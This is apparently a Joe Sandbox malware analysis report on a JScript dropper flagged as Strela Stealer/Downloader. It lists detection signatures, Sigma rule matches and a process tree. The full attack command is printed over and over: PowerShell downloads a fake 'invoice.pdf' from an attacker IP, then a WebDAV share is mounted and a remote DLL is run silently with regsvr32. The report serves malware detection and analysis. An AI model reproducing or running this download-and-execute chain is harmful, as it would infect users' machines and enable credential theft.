Edit tour

Windows Analysis Report
281511335289626058.js

Overview

General Information

Sample name:	281511335289626058.js
Analysis ID:	1587767
MD5:	84c0684626fd28acafa8f2584f1583e0
SHA1:	a5e16a01a3e5caf40e6bd906b27f2d74b0bb5264
SHA256:	a8198bee4a72d195feb5f622b486c0c18f811fb1bbe575a3864250ec801feb6a
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 8092 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\281511335289626058.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7188 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7604 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4832 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2080 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3792 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2304 --field-trial-handle=1528,i,7476716239039598355,18098748400570435661,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7768 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1968 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2216 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 8092	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7188, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7604, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7188, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7604, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\281511335289626058.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\281511335289626058.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\281511335289626058.js", ProcessId: 8092, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\281511335289626058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8092, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 7188, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\281511335289626058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8092, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 7188, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\281511335289626058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8092, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 7188, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\281511335289626058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8092, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 7188, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\281511335289626058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8092, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 7188, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\281511335289626058.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\281511335289626058.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\281511335289626058.js", ProcessId: 8092, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7188, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7604, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7768, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1968, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2216, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7768, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1968, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\281511335289626058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8092, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 7188, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 281511335289626058.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 281511335289626058.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000001.00000003.1412420644.000001611F9C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000009.00000002.1492677988.000001BF29528000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000002.1492726356.000001BF2955D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000003.1492142421.000001BF2957E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000003.1492198971.000001BF2955D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000002.1492832421.000001BF29580000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000009.00000002.1492726356.000001BF2955D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000003.1492198971.000001BF2955D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/H.
Source: net.exe, 00000009.00000002.1492726356.000001BF2955D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000003.1492198971.000001BF2955D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/P.
Source: net.exe, 00000009.00000002.1492677988.000001BF29528000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/space
Source: svchost.exe, 0000000B.00000002.2683233644.000001DD7B000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.10.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.11.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.10.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.11.dr, qmgr.db.11.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 0000000B.00000003.1501990113.000001DD7AE20000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr, qmgr.db.11.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.7.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 8092, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 281511335289626058.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.688

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7220:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bo4laefg.ggg.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

